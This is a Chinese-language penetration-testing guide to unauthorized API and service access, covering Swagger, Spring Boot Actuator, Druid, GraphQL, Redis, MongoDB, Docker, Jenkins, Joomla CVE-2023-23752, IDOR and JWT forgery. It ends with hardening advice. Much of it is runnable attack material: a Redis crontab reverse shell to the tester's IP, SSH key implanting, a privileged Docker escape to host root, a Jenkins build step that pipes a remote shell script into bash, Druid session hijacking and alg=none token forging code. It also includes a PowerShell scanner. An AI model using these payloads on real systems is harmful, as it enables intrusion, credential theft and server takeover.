API 未授权访问漏洞分析与利用指南

版本:v1.0 | 最后更新:2026-07-08
适用场景:渗透测试 / SRC 挖掘 / 红蓝对抗 / 安全加固


目录

  1. 概述
  2. 漏洞分类总览
  3. Web API 框架未授权
    • 3.1 Swagger API 文档泄露
    • 3.2 Spring Boot Actuator 未授权
    • 3.3 Druid 监控未授权
    • 3.4 GraphQL 自省查询泄露
    • 3.5 ASP.NET Swagger / SignalR 未授权
  4. 中间件 / 服务 API 未授权
    • 4.1 Redis 未授权访问
    • 4.2 MongoDB 未授权访问
    • 4.3 Elasticsearch 未授权访问
    • 4.4 Docker Remote API 未授权
    • 4.5 Jenkins 未授权访问
    • 4.6 Hadoop YARN ResourceManager 未授权
    • 4.7 Zookeeper 未授权访问
    • 4.8 Memcached 未授权访问
  5. CMS / 应用 API 未授权(含 CVE & PoC)
    • 5.1 Joomla REST API 未授权(CVE-2023-23752)
    • 5.2 WordPress REST API 用户信息泄露
    • 5.3 ThinkPHP API 未授权
    • 5.4 通达OA API 未授权
    • 5.5 致远OA API 未授权
    • 5.6 用友NC API 未授权
  6. 业务逻辑层 API 未授权
    • 6.1 水平越权(IDOR)
    • 6.2 垂直越权
    • 6.3 未授权敏感接口
    • 6.4 接口参数遍历
    • 6.5 JWT 未授权 / 伪造
  7. 实战检测方法论
    • 7.1 信息收集阶段
    • 7.2 未授权检测阶段
    • 7.3 利用阶段
  8. 通用检测脚本
  9. 防御建议
  10. 附录:CVE 速查表

一、概述

1.1 什么是 API 未授权访问

API 未授权访问是指系统未对 API 接口进行有效的身份认证和权限校验,导致未经授权的用户能够直接访问或操作本应受限的资源或功能。

1.2 漏洞成因

原因 说明
开发遗留 开发阶段为了方便调试,接口未加鉴权,上线后忘记移除
鉴权代码缺陷 过滤器/拦截器配置遗漏,仅对部分路径生效
框架默认配置 Swagger、Druid、Actuator 等监控组件默认不鉴权
中间件安全配置缺失 Redis、MongoDB、Docker 等默认无密码
权限校验逻辑缺陷 仅校验前端隐藏按钮,后端未做二次校验
RESTful API 设计缺陷 通过参数控制权限,未校验资源归属

1.3 漏洞危害

1
2
3
4
5
信息泄露 → 数据库配置 / 用户数据 / 业务敏感数据
权限提升 → 普通用户 → 管理员
越权操作 → 修改他人数据 / 删除他人资源
代码执行 → 通过文件上传 / 反序列化 / 命令注入直接 Getshell
横向移动 → 通过 SSRF 探测内网 / 通过泄露的凭证横向扩展

二、漏洞分类总览

分类 漏洞类型 风险等级 攻击复杂度 常见场景
Web API 框架 Swagger 文档泄露 ⭐⭐⭐⭐ 极低 Spring Boot / ASP.NET 项目
Spring Boot Actuator 未授权 ⭐⭐⭐⭐⭐ 极低 Spring Boot 项目
Druid 监控未授权 ⭐⭐⭐⭐ 极低 Java 项目(阿里巴巴)
GraphQL 自省查询泄露 ⭐⭐⭐⭐ GraphQL 接口
中间件/服务 Redis 未授权 ⭐⭐⭐⭐⭐ 缓存服务
MongoDB 未授权 ⭐⭐⭐⭐⭐ 数据库服务
Elasticsearch 未授权 ⭐⭐⭐⭐ 搜索引擎
Docker Remote API 未授权 ⭐⭐⭐⭐⭐ 容器服务
Jenkins 未授权 ⭐⭐⭐⭐⭐ CI/CD 服务
Hadoop YARN 未授权 ⭐⭐⭐⭐ 大数据平台
Zookeeper 未授权 ⭐⭐⭐ 分布式协调
CMS/应用 Joomla API 未授权 (CVE-2023-23752) ⭐⭐⭐⭐ Joomla CMS
WordPress API 用户泄露 ⭐⭐⭐ WordPress 站点
ThinkPHP API 未授权 ⭐⭐⭐⭐ ThinkPHP 应用
通达OA API 未授权 ⭐⭐⭐⭐⭐ 办公系统
致远OA API 未授权 ⭐⭐⭐⭐⭐ 办公系统
用友NC API 未授权 ⭐⭐⭐⭐⭐ ERP 系统
业务逻辑层 水平越权(IDOR) ⭐⭐⭐⭐ 几乎所有业务系统
垂直越权 ⭐⭐⭐⭐⭐ 多角色系统
JWT 未授权 / 伪造 ⭐⭐⭐⭐ 前后端分离架构
接口参数遍历 ⭐⭐⭐ 极低 列表/详情接口

三、Web API 框架未授权

3.1 Swagger API 文档泄露

Swagger 是一个规范和完整的 RESTful API 框架。开发环境中 Swagger 页面被暴露到生产环境,攻击者可通过 Swagger 页面获取全部 API 接口列表、参数、请求方式,并可直接在页面上调用接口。

检测路径

1
2
3
4
5
6
7
8
9
10
11
/swagger-ui.html
/swagger-ui.html#/
/swagger-ui/index.html
/swagger-resources
/v2/api-docs
/v3/api-docs
/swagger/v1/swagger.json
/api/swagger
/api-docs
/api/doc
/swagger

危害

  • 获取全量 API 接口列表
  • 发现未鉴权的敏感接口(文件上传、用户管理、数据导出等)
  • 直接通过 Swagger UI 页面调用接口

检测 PoC

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 检测 Swagger 页面
curl -s "http://target.com/swagger-ui.html" -o /dev/null -w "%{http_code}"

# 2. 检测 API 文档 JSON
curl -s "http://target.com/v2/api-docs" | Select-Object -First 1

# 3. 批量路径检测
$paths = @("/swagger-ui.html", "/v2/api-docs", "/v3/api-docs", "/swagger-resources")
foreach ($p in $paths) {
$code = try { (Invoke-WebRequest -Uri "http://target.com$p" -TimeoutSec 5 -UseBasicParsing).StatusCode } catch { 0 }
if ($code -eq 200) { Write-Host "[FOUND] $p" -ForegroundColor Green }
}

实例如:ThinkPHP 5.x 强制路由 + Swagger 未授权

ThinkPHP 5.x 在未开启强制路由时,攻击者可通过 Swagger 页面直接调用任意控制器方法,导致 RCE。

1
PoC: /api/index.php?s=index/Index/hello&name=world

3.2 Spring Boot Actuator 未授权

Spring Boot Actuator 提供了生产级别的应用监控功能。如果未配置访问控制,攻击者可通过 Actuator 端点获取大量敏感信息。

检测路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/actuator
/actuator/health
/actuator/info
/actuator/env → 环境变量(含数据库密码、API密钥)
/actuator/configprops → 配置属性(含敏感配置)
/actuator/mappings → 全量接口映射
/actuator/beans → Spring Bean 信息
/actuator/heapdump → 堆内存转储(可下载分析)
/actuator/threaddump → 线程信息
/actuator/loggers → 日志级别控制
/actuator/httptrace → HTTP 请求追踪
/actuator/metrics → 指标监控
/actuator/scheduledtasks → 定时任务
/actuator/shutdown → 关闭应用(POST)
/actuator/gateway → Spring Cloud Gateway 路由

危害等级(由高到低)

端点 危害 说明
/actuator/env ⭐⭐⭐⭐⭐ 泄露数据库密码、Redis 密码、密钥、API Token
/actuator/heapdump ⭐⭐⭐⭐⭐ 下载堆内存 → 分析出所有运行时的密码和密钥
/actuator/configprops ⭐⭐⭐⭐ 泄露配置中的敏感信息
/actuator/mappings ⭐⭐⭐⭐ 全量 API 接口路径(辅助挖掘更多漏洞)
/actuator/gateway ⭐⭐⭐⭐ Spring Cloud Gateway 路由信息
/actuator/loggers ⭐⭐⭐ 修改日志级别为 DEBUG,获取更多信息
/actuator/shutdown ⭐⭐⭐ 拒绝服务

检测 PoC:Heapdump 泄露

1
2
3
4
5
6
7
8
9
# 1. 下载 heapdump 文件
curl -o heapdump.bin "http://target.com/actuator/heapdump"

# 2. 使用 Eclipse MAT 分析,或使用命令行工具提取密码
# 安装 MAT 后:mat -console -application org.eclipse.mat.ui.hprof.browser heapdump.bin

# 3. 使用 jhat 快速分析
jhat heapdump.bin
# 访问 http://localhost:7000/

检测 PoC:Env 端点泄露

1
2
3
4
5
# 获取环境变量中的数据库密码
curl "http://target.com/actuator/env" | Select-String -Pattern "password|secret|key|token|jdbc|redis"

# 获取具体配置项的值
curl "http://target.com/actuator/env/spring.datasource.password"

3.3 Druid 监控未授权

Druid 是阿里巴巴开源的数据库连接池组件。如果配置不当,Druid 监控页面会暴露SQL 执行记录、Web 应用 URI、Session 监控等敏感信息。

检测路径

1
2
3
4
5
6
7
/druid/index.html
/druid/login.html
/druid/sql.html → SQL 执行记录
/druid/spring.html → Spring 监控
/druid/websession.html → Session 列表(可窃取)
/druid/uri.html → URI 访问统计
/druid/datasource.html → 数据源配置

危害

  • 查看 SQL 执行记录 → 分析数据库结构
  • 通过 Session 监控窃取管理员 Session
  • 通过 URI 监控了解全站接口

检测 PoC

1
2
3
4
5
6
7
8
# 检测 Druid 监控页
curl "http://target.com/druid/index.html" -o /dev/null -w "%{http_code}"

# 直接获取 Session 列表
curl "http://target.com/druid/websession.json"

# 获取 SQL 监控记录
curl "http://target.com/druid/sql.json" | ConvertFrom-Json

利用 Session 窃取

1
2
3
4
5
# 从 Druid 获取活跃 Session
$sessions = Invoke-RestMethod "http://target.com/druid/websession.json"
# 列表中每个 session 包含 sessionId
# 使用该 sessionId 替换 Cookie 中的 JSESSIONID
# 即可劫持该用户的会话状态

3.4 GraphQL 自省查询泄露

GraphQL 提供自省(Introspection)查询机制,用于客户端自动发现 Schema。如果生产环境未关闭自省,攻击者可获取全部数据类型、字段、查询和变更操作

检测路径

1
2
3
4
5
6
/graphql
/graphql/console
/graphiql
/playground
/api/graphql
/v1/graphql

检测 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 自省查询 - 获取全部 Schema
query {
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
1
2
3
4
# 发送自省查询
curl -X POST "http://target.com/graphql" `
-H "Content-Type: application/json" `
-d '{"query": "{__schema{types{name fields{name type{name kind}}}"}'

利用

  • 分析 Schema 发现未授权 Mutations(变更操作)
  • 发现隐藏的敏感字段(如 password, token, ssn
  • 批量查询绕过限制

3.5 ASP.NET Swagger / SignalR 未授权

ASP.NET Swagger 检测

1
2
3
/swagger/v1/swagger.json
/swagger/index.html
/swagger/ui/index

SignalR Hub 未授权

SignalR 实时通信 Hub 若未鉴权,可直接调用 Hub 方法。

1
2
3
/hub/notification
/signalr/hubs
/chatHub

四、中间件 / 服务 API 未授权

4.1 Redis 未授权访问

默认端口:6379
常见版本:全版本
CVSS:9.8(Critical)

由于 Redis 默认配置不绑定 IP 且无密码认证,攻击者可直接连接 Redis 服务器。

危害

  • 敏感数据泄露(缓存中的 Session、Token)
  • 写入 SSH 公钥 → 直接登录服务器
  • 写入 crontab → 反弹 Shell
  • 写入 webshell(如果 web 目录可写)
  • 触发 flushall 清空所有数据

检测 PoC

1
2
3
4
5
6
# 直接连接测试
redis-cli -h 192.168.1.100 -p 6379

# 连接成功后执行
redis-cli -h 192.168.1.100 info
# 返回服务器信息即表示未授权

利用:写入 SSH 公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
# 本地生成密钥对
ssh-keygen -t rsa

# 将公钥写入 Redis
cat ~/.ssh/id_rsa.pub | redis-cli -h 192.168.1.100 -x set crackit

# 设置备份路径为 SSH 认证目录
redis-cli -h 192.168.1.100 config set dir /root/.ssh/
redis-cli -h 192.168.1.100 config set dbfilename authorized_keys
redis-cli -h 192.168.1.100 save

# SSH 登录
ssh root@192.168.1.100

利用:写入 crontab 反弹 Shell(Linux)

1
2
3
4
redis-cli -h 192.168.1.100 set x "\n* * * * * bash -i >& /dev/tcp/你的IP/4444 0>&1\n"
redis-cli -h 192.168.1.100 config set dir /var/spool/cron/
redis-cli -h 192.168.1.100 config set dbfilename root
redis-cli -h 192.168.1.100 save

4.2 MongoDB 未授权访问

默认端口:27017
CVSS:9.8(Critical)

检测 PoC

1
2
3
4
5
6
7
# 使用 nmap 检测
nmap -p 27017 --script mongodb-info 192.168.1.100

# 直接连接(无密码)
mongo 192.168.1.100:27017

# 或使用 Robo 3T 工具图形化连接

利用

1
2
3
4
5
6
7
# 连接后查看数据库
mongo 192.168.1.100:27017
show dbs
use admin
db.auth("admin", "admin") # 尝试弱口令
show collections
db.users.find() # 读取用户数据

4.3 Elasticsearch 未授权访问

默认端口:9200(HTTP API)、9300(TCP)
CVSS:8.6(High)

检测路径

1
2
3
4
5
6
7
8
GET /             → 集群信息
GET /_cat/indices → 所有索引
GET /_cat/ → 所有 API 列表
GET /_cluster/health → 集群健康状态
GET /_cluster/state → 集群状态
GET /_all/_search → 搜索全部数据
GET /_nodes → 节点信息
GET /_plugin/head → 管理界面

检测 PoC

1
2
3
4
5
6
7
8
# 获取集群信息
curl "http://192.168.1.100:9200/"

# 获取所有索引列表
curl "http://192.168.1.100:9200/_cat/indices?v"

# 搜索全部数据
curl "http://192.168.1.100:9200/_all/_search?size=100" | ConvertFrom-Json | ConvertTo-Json -Depth 5

4.4 Docker Remote API 未授权

默认端口:2375(未加密)、2376(TLS)

Docker 守护进程默认绑定在本地 Unix Socket,但如果配置为监听 TCP 端口且未加 TLS 认证,攻击者可完全控制 Docker 宿主机。

检测 PoC

1
2
3
4
5
6
7
8
9
10
11
# 获取 Docker 版本信息
curl "http://192.168.1.100:2375/version"

# 列出所有容器
curl "http://192.168.1.100:2375/containers/json?all=true"

# 列出所有镜像
curl "http://192.168.1.100:2375/images/json"

# 获取 Docker 信息
curl "http://192.168.1.100:2375/info"

利用:启动特权容器 → 宿主机沦陷

1
2
3
4
5
# 启动一个特权容器,挂载宿主机根目录
docker -H tcp://192.168.1.100:2375 run -it --privileged -v /:/host alpine chroot /host bash

# 此时已获得宿主机的 root shell
# 可添加 SSH 公钥、创建用户、植入后门等

4.5 Jenkins 未授权访问

默认端口:8080

Jenkins 在未配置安全认证时,任何人都可以访问管理后台,执行构建任务、查看控制台输出,甚至执行系统命令。

检测路径

1
2
3
4
5
6
http://target:8080/
http://target:8080/script
http://target:8080/scriptText
http://target:8080/computer/
http://target:8080/configure
http://target:8080/credentials/

利用:脚本命令行执行

1
2
3
4
5
6
7
// Jenkins Script Console 中的恶意脚本
def cmd = "whoami".execute()
println("${cmd.text}")

// 执行系统命令获取 Shell
println("id".execute().text)
println("cat /etc/passwd".execute().text)

利用:通过构建任务执行命令

1
2
3
# 创建或修改构建任务,在构建步骤中执行系统命令
# "Execute shell" 步骤中输入:
curl http://your-server/shell.sh | bash

4.6 Hadoop YARN ResourceManager 未授权

默认端口:8088

YARN ResourceManager 的 Web UI 和管理 API 未授权时,攻击者可提交恶意 Application 执行任意命令。

检测路径

1
2
3
http://target:8088/cluster
http://target:8088/ws/v1/cluster
http://target:8088/ws/v1/cluster/apps

检测 PoC

1
2
# 获取集群信息
curl "http://192.168.1.100:8088/ws/v1/cluster/info"

4.7 Zookeeper 未授权访问

默认端口:2181

检测 PoC

1
2
3
4
5
6
# 使用 zkCli 连接
zkCli.sh -server 192.168.1.100:2181

# 或使用 echo 命令
echo "envi" | nc 192.168.1.100 2181
# 返回环境信息即表示未授权

常用四字命令

1
2
3
4
5
echo "conf" | nc 192.168.1.100 2181  # 配置信息
echo "stat" | nc 192.168.1.100 2181 # 状态信息
echo "dump" | nc 192.168.1.100 2181 # 会话信息
echo "envi" | nc 192.168.1.100 2181 # 环境信息
echo "reqs" | nc 192.168.1.100 2181 # 请求统计

4.8 Memcached 未授权访问

默认端口:11211

检测 PoC

1
2
3
4
5
6
# 直接连接测试
echo "stats" | nc 192.168.1.100 11211
# 返回统计数据即表示未授权

# 或者使用 libmemcached-tools
memcstat --servers=192.168.1.100

五、CMS / 应用 API 未授权(含 CVE & PoC)

5.1 Joomla REST API 未授权(CVE-2023-23752)

影响版本:Joomla! 4.0.0 ~ 4.2.7
CVSS 评分:7.5(High)
漏洞描述:由于对 Web 服务端点的访问限制不当,攻击者可通过传入 public=true 参数绕过权限校验,获取 Web 应用程序敏感信息。

检测 PoC

1
2
3
4
5
# 获取数据库配置信息(含数据库密码)
curl "http://target.com/api/index.php/v1/config/application?public=true"

# 获取用户信息
curl "http://target.com/api/index.php/v1/users?public=true"

预期响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"data": [
{
"type": "application",
"attributes": {
"host": "localhost",
"user": "joomla_user",
"password": "database_password_here",
"db": "joomla_db",
"dbprefix": "abcde_"
}
}
]
}

FOFA 指纹

1
body="Joomla! 4"

5.2 WordPress REST API 用户信息泄露

WordPress 自 4.7 起内置 REST API,默认情况下未登录用户可通过 API 获取用户列表。

检测 PoC

1
2
3
4
5
# 获取用户列表
curl "http://target.com/wp-json/wp/v2/users"

# 获取特定用户信息
curl "http://target.com/wp-json/wp/v2/users/1"

利用

获取用户信息后,结合弱口令爆破后台登录。


5.3 ThinkPHP API 未授权

ThinkPHP 5.x 在多应用模式下,如果未开启强制路由,攻击者可通过 URL 直接调用任意控制器方法。

检测 PoC

1
2
3
4
5
6
7
8
# 获取 PHP 信息
curl "http://target.com/index.php?s=index/Index/phpinfo"

# 执行系统命令
curl "http://target.com/index.php?s=index/Index/exec&cmd=whoami"

# 文件包含
curl "http://target.com/index.php?s=index/Index/display&file=../../etc/passwd"

5.4 通达OA API 未授权

通达OA 存在多个 API 未授权漏洞,可导致文件上传、附件泄露、用户信息泄露等。

检测路径

1
2
3
4
/ispirit/im/upload.php      → 任意文件上传
/ispirit/interface/gateway.php → 文件包含
/general/……/attach/…… → 附件未授权访问
/mobile/api/api_xxx.php → 手机端 API 未授权

检测 PoC

1
2
3
4
5
# 附件未授权读取
curl "http://target.com/general/xxx/attach/xxx/xxx.rar"

# 未授权用户信息
curl "http://target.com/mobile/api/api_user.php?action=get_user_info&uid=1"

5.5 致远OA API 未授权

致远OA 存在多个版本的前台 API 未授权漏洞。

检测路径

1
2
3
/seeyon/rest/xxx            → REST API 未授权
/seeyon/thirdparty/xxx → 第三方集成 API
/seeyon/ajax.do?method=xxx → AJAX 调用

检测 PoC

1
2
3
4
5
# 获取用户列表
curl "http://target.com/seeyon/rest/orgEmployee/list"

# 获取系统配置
curl "http://target.com/seeyon/rest/config/system"

5.6 用友NC API 未授权

用友 NC 系列 ERP 系统存在大量 API 未授权漏洞。

检测路径

1
2
3
4
/service/~x/xxx
/NCFindWeb/xxx
/portal/xxx
/uapws/xxx

检测 PoC

1
2
3
4
5
# 获取用户信息
curl "http://target.com/service/~x/xxx"

# 未授权 SQL 查询
curl "http://target.com/NCFindWeb/xxx"

六、业务逻辑层 API 未授权

6.1 水平越权(IDOR)

描述:用户 A 通过修改参数 ID,可以访问或操作用户 B 的数据。

检测场景

1
2
3
4
5
6
7
# 1. 登录用户 A,获取订单列表
curl "http://target.com/api/order/list?userId=1001"

# 2. 修改 userId 参数,尝试访问用户 B 的订单
curl "http://target.com/api/order/list?userId=1002"

# 3. 如果返回了用户 B 的订单数据,即存在 IDOR

常见 IDOR 参数

1
2
id, uid, user_id, userId, order_id, article_id, site_id
account_id, customer_id, student_id, employee_id

6.2 垂直越权

描述:低权限用户通过 API 调用高权限接口,执行管理员操作。

检测场景

1
2
3
4
5
6
7
# 1. 普通用户 Token 尝试调用管理员接口
curl -X POST "http://target.com/api/admin/user/add" `
-H "Authorization: Bearer <普通用户Token>" `
-H "Content-Type: application/json" `
-d '{"username":"hacker","password":"Hacker123!","role":"admin"}'

# 2. 如果返回 200 并成功创建管理员,即存在垂直越权

6.3 未授权敏感接口

常见敏感接口(无需任何 Token 即可访问)

用户管理类:

1
2
3
4
5
GET  /api/user/list           → 用户列表
GET /api/user/info → 用户信息
POST /api/user/add → 添加用户
POST /api/user/delete → 删除用户
POST /api/user/resetPassword → 重置密码

配置管理类:

1
2
3
4
5
GET  /api/config              → 系统配置
GET /api/database → 数据库配置
GET /api/redis → Redis 配置
GET /api/oss → 对象存储配置
GET /api/log → 日志查看

文件操作类:

1
2
3
4
POST /api/upload              → 文件上传
GET /api/download?file= → 文件下载
POST /api/import → 数据导入
GET /api/export → 数据导出

业务操作类:

1
2
3
4
POST /api/order/create        → 创建订单
POST /api/order/refund → 退款操作
POST /api/transfer → 转账操作
POST /api/email/send → 发送邮件

6.4 接口参数遍历

常见遍历场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. 遍历用户 ID 获取全量用户信息
for ($i = 1; $i -le 1000; $i++) {
$r = Invoke-WebRequest "http://target.com/api/user/profile?id=$i" -UseBasicParsing
if ($r.StatusCode -eq 200) { Write-Host "User $i found" }
}

# 2. 遍历订单号
for ($i = 20260001; $i -le 20261000; $i++) {
$r = Invoke-WebRequest "http://target.com/api/order/get?orderNo=$i" -UseBasicParsing
if ($r.StatusCode -eq 200) { Write-Host "Order $i found" }
}

# 3. 遍历手机号/邮箱
curl "http://target.com/api/user/check?phone=13800138001"
curl "http://target.com/api/user/check?phone=13800138002"

6.5 JWT 未授权 / 伪造

常见 JWT 问题

问题 说明 检测方式
alg=none 算法设置为 none,绕过签名验证 修改 JWT 头为 {"alg":"none"},去除签名部分
弱密钥 使用弱密钥(如 secret123456 使用 jwt_tool 或 hashcat 爆破
未验证签名 服务端未验证签名有效性 任意修改 payload 后重放
密钥泄露 密钥硬编码在客户端代码中 反编译前端 JS 或 APK
过期时间过长 Token 永不过期 检查 exp 字段

检测 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# JWT alg=none 攻击检测
import jwt, requests

# 原始 token
token = "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx"

# 构造 alg=none 的 token
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin", "exp": 9999999999}
fake_token = jwt.encode(payload, "", algorithm="none")

# 发送请求
headers = {"Authorization": f"Bearer {fake_token}"}
r = requests.get("http://target.com/api/admin/xxx", headers=headers)
print(r.status_code, r.text[:200])
1
2
3
4
# 使用 jwt_tool 检测
# 下载: https://github.com/ticarpi/jwt_tool
python jwt_tool.py <token> -T # 测试 alg=none
python jwt_tool.py <token> -C -d rockyou.txt # 爆破密钥

七、实战检测方法论

7.1 信息收集阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 收集 API 接口
- 抓取前端 JS 文件,搜索 api/ 关键字
- 查看 Swagger / Actuator / Druid 文档
- 使用目录扫描工具爆破 API 路径
- 分析 App 反编译后的 API 接口

2. 分析接口鉴权方式
- Cookie/Session 鉴权
- JWT/Bearer Token 鉴权
- API Key/AppSecret 鉴权
- IP 白名单鉴权
- 无鉴权(直接可访问)

3. 收集账号信息
- 注册普通用户账号
- 获取不同角色的 Token
- 通过公开信息获取管理员/特权账号

7.2 未授权检测阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. 直接访问检测
- 不带任何 Cookie/Token 访问敏感接口
- 使用默认 Token 或空 Token 访问

2. 参数篡改检测
- 修改 ID 参数遍历
- 修改角色参数提权
- 修改 public=true 绕过鉴权

3. HTTP 方法篡改
- GET 改为 POST
- POST 改为 PUT/DELETE
- 添加 X-HTTP-Method-Override 头

4. 请求头篡改
- 添加 X-Forwarded-For: 127.0.0.1
- 添加 X-Real-IP: 127.0.0.1
- 添加 Origin/Referer 仿造内部请求
- 添加 X-Requested-With: XMLHttpRequest

5. 认证绕过
- 删除 Cookie/Token 字段
- 使用其他用户的 Token
- 使用过期 Token
- JWT alg=none 攻击

7.3 利用阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1. 信息泄露类
→ 截图证明即可,不下载全量数据
→ 标记敏感数据(数据库密码、密钥、Token)

2. 越权操作类
→ 仅验证可操作,不实际篡改/删除
→ 截图证明操作前后对比

3. Getshell 类
→ 上传测试文件(如 info.jsp/txt)
→ 证明可执行即可,不上传木马

4. 权限提升类
→ 验证可创建管理员账户
→ 创建后删除,或截图证明可行性

八、通用检测脚本

8.1 API 未授权批量检测(PowerShell)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# APIScanner.ps1 - API 未授权批量检测脚本
param(
[string]$Target = "http://target.com",
[string]$File = ""
)

$results = @()

# 通用检测路径
$commonChecks = @(
# Swagger
@{Path="/swagger-ui.html"; Desc="Swagger UI"},
@{Path="/v2/api-docs"; Desc="Swagger API Docs v2"},
@{Path="/v3/api-docs"; Desc="Swagger API Docs v3"},
@{Path="/swagger-resources"; Desc="Swagger Resources"},
# Actuator
@{Path="/actuator"; Desc="Actuator"},
@{Path="/actuator/env"; Desc="Actuator Env"},
@{Path="/actuator/heapdump"; Desc="Actuator Heapdump"},
@{Path="/actuator/mappings"; Desc="Actuator Mappings"},
@{Path="/actuator/configprops"; Desc="Actuator Configprops"},
# Druid
@{Path="/druid/index.html"; Desc="Druid Monitor"},
@{Path="/druid/websession.json"; Desc="Druid Session"},
@{Path="/druid/sql.json"; Desc="Druid SQL"},
# GraphQL
@{Path="/graphql"; Desc="GraphQL"},
@{Path="/graphiql"; Desc="GraphiQL"},
# 通用 API
@{Path="/api/user/list"; Desc="API User List"},
@{Path="/api/user/info"; Desc="API User Info"},
@{Path="/api/config"; Desc="API Config"},
@{Path="/api/database"; Desc="API Database"},
@{Path="/api/upload"; Method="POST"; Desc="API Upload"},
@{Path="/api/admin"; Desc="API Admin"},
# CMS 相关
@{Path="/wp-json/wp/v2/users"; Desc="WP API Users"},
@{Path="/api/index.php/v1/config/application?public=true"; Desc="Joomla API"}
)

# 如果指定了文件,从文件读取路径
$checks = $commonChecks
if ($File -and (Test-Path $File)) {
$customPaths = Get-Content $File | Where-Object { $_ -match '/api/' }
foreach ($p in $customPaths) {
$checks += @{Path=$p.Trim(); Desc="Custom API"}
}
}

Write-Host "=== API 未授权检测开始: $Target ===" -ForegroundColor Cyan
Write-Host "检测路径数: $($checks.Count)`n" -ForegroundColor Yellow

foreach ($check in $checks) {
$url = $Target.TrimEnd('/') + $check.Path
$method = if ($check.Method) { $check.Method } else { "GET" }
$start = Get-Date

try {
$resp = Invoke-WebRequest -Uri $url -Method $method -TimeoutSec 8 -UseBasicParsing -ErrorAction Stop
$elapsed = (Get-Date) - $start
$size = $resp.RawContentLength

$result = @{
Time = $start.ToString("HH:mm:ss")
Method = $method
Path = $check.Path
Desc = $check.Desc
Status = $resp.StatusCode
Size = $size
TimeMs = $elapsed.TotalMilliseconds.ToString("F0")
}

if ($resp.StatusCode -eq 200) {
# 进一步检查响应内容是否包含敏感数据
$sensitive = @("password", "secret", "token", "jdbc", "redis", "admin", "com.zving", "vsb")
$found = $false
foreach ($s in $sensitive) {
if ($resp.Content -match $s) { $found = $true; break }
}
if ($found) {
Write-Host "[SENSITIVE] $($check.Desc) => $url (200, $($size)bytes)" -ForegroundColor Red
$result.Level = "SENSITIVE"
} else {
Write-Host "[FOUND] $($check.Desc) => $url (200, $($size)bytes)" -ForegroundColor Green
$result.Level = "FOUND"
}
} elseif ($resp.StatusCode -eq 401 -or $resp.StatusCode -eq 403) {
Write-Host "[AUTH] $($check.Desc) => $url ($($resp.StatusCode))" -ForegroundColor Gray
$result.Level = "AUTH"
} else {
Write-Host "[SKIP] $($check.Desc) => $url ($($resp.StatusCode))" -ForegroundColor DarkGray
$result.Level = "NONE"
}
$results += $result

} catch {
Write-Host "[ERR] $($check.Desc) => $url ($($_.Exception.Message))" -ForegroundColor DarkGray
}
}

# 输出报告
Write-Host "`n=== 检测报告 ===" -ForegroundColor Cyan
$found = $results | Where-Object { $_.Level -eq "FOUND" -or $_.Level -eq "SENSITIVE" }
Write-Host "发现 $($found.Count) 个未授权接口" -ForegroundColor Green
$found | Format-Table -Property Time, Method, Status, Path, Desc -AutoSize | Out-String | ForEach-Object { Write-Host $_ }

8.2 通用 API 路径爆破字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 通用 API 路径字典(保存为 api_paths.txt)
/api
/api/admin
/api/user
/api/users
/api/config
/api/database
/api/db
/api/redis
/api/upload
/api/download
/api/file
/api/files
/api/order
/api/orders
/api/login
/api/logout
/api/register
/api/export
/api/import
/api/backup
/api/log
/api/logs
/api/info
/api/status
/api/health
/api/metrics
/api/swagger
/api/doc
/api/docs
/api/graphql
/api/v1
/api/v2
/api/v3
/v1/api
/v2/api
/admin
/admin/api
/management
/manage
/monitor

九、防御建议

9.1 开发阶段

措施 说明
统一鉴权框架 使用 Spring Security / Shiro / OAuth2 统一管理 API 鉴权
默认拒绝 所有 API 默认拒绝访问,仅对白名单接口开放
接口分类 明确区分公开接口、需登录接口、需管理员接口
强制路由 生产环境开启强制路由,避免控制器方法直接暴露
API 网关 使用 API 网关统一管控认证、限流、审计
关闭 Swagger 生产环境禁用 Swagger 文档展示
最小权限 API 只返回必要字段,不暴露密码/Session 等敏感信息

9.2 测试阶段

措施 说明
安全测试 Checklist 将 API 未授权检测纳入发布前安全测试流程
自动化扫描 集成 API 安全扫描工具到 CI/CD 流水线
权限测试 每个 API 测试三种状态:未登录、普通用户、管理员

9.3 运维阶段

措施 说明
WAF 规则 /api//actuator//druid/ 路径配置严格 ACL
网络隔离 中间件服务(Redis、MongoDB、Docker)不绑定 0.0.0.0
访问控制 Actuator、Druid 等监控组件限制内网或加登录验证
及时更新 跟踪 CVE 漏洞公告,及时更新中间件版本
日志审计 记录所有 API 访问日志,发现异常请求及时告警

9.4 中间件安全配置

中间件 安全配置命令
Redis bind 127.0.0.1 + requirepass <强密码> + rename-command FLUSHALL ""
MongoDB 开启认证:use admin; db.createUser(...) + security.authorization: enabled
Elasticsearch 开启 X-Pack 安全认证:xpack.security.enabled: true
Docker 使用 TLS 认证:dockerd --tlsverify --tlscacert=ca.pem
Jenkins 配置安全域:Manage Jenkins → Configure Global Security → Jenkins own user database
Spring Boot management.endpoints.web.exposure.include=health,info + management.endpoint.health.show-details=never

十、附录:CVE 速查表

CVE 编号 影响组件 漏洞类型 影响版本 利用方法
CVE-2023-23752 Joomla! CMS REST API 未授权 4.0.0 - 4.2.7 GET /api/index.php/v1/config/application?public=true
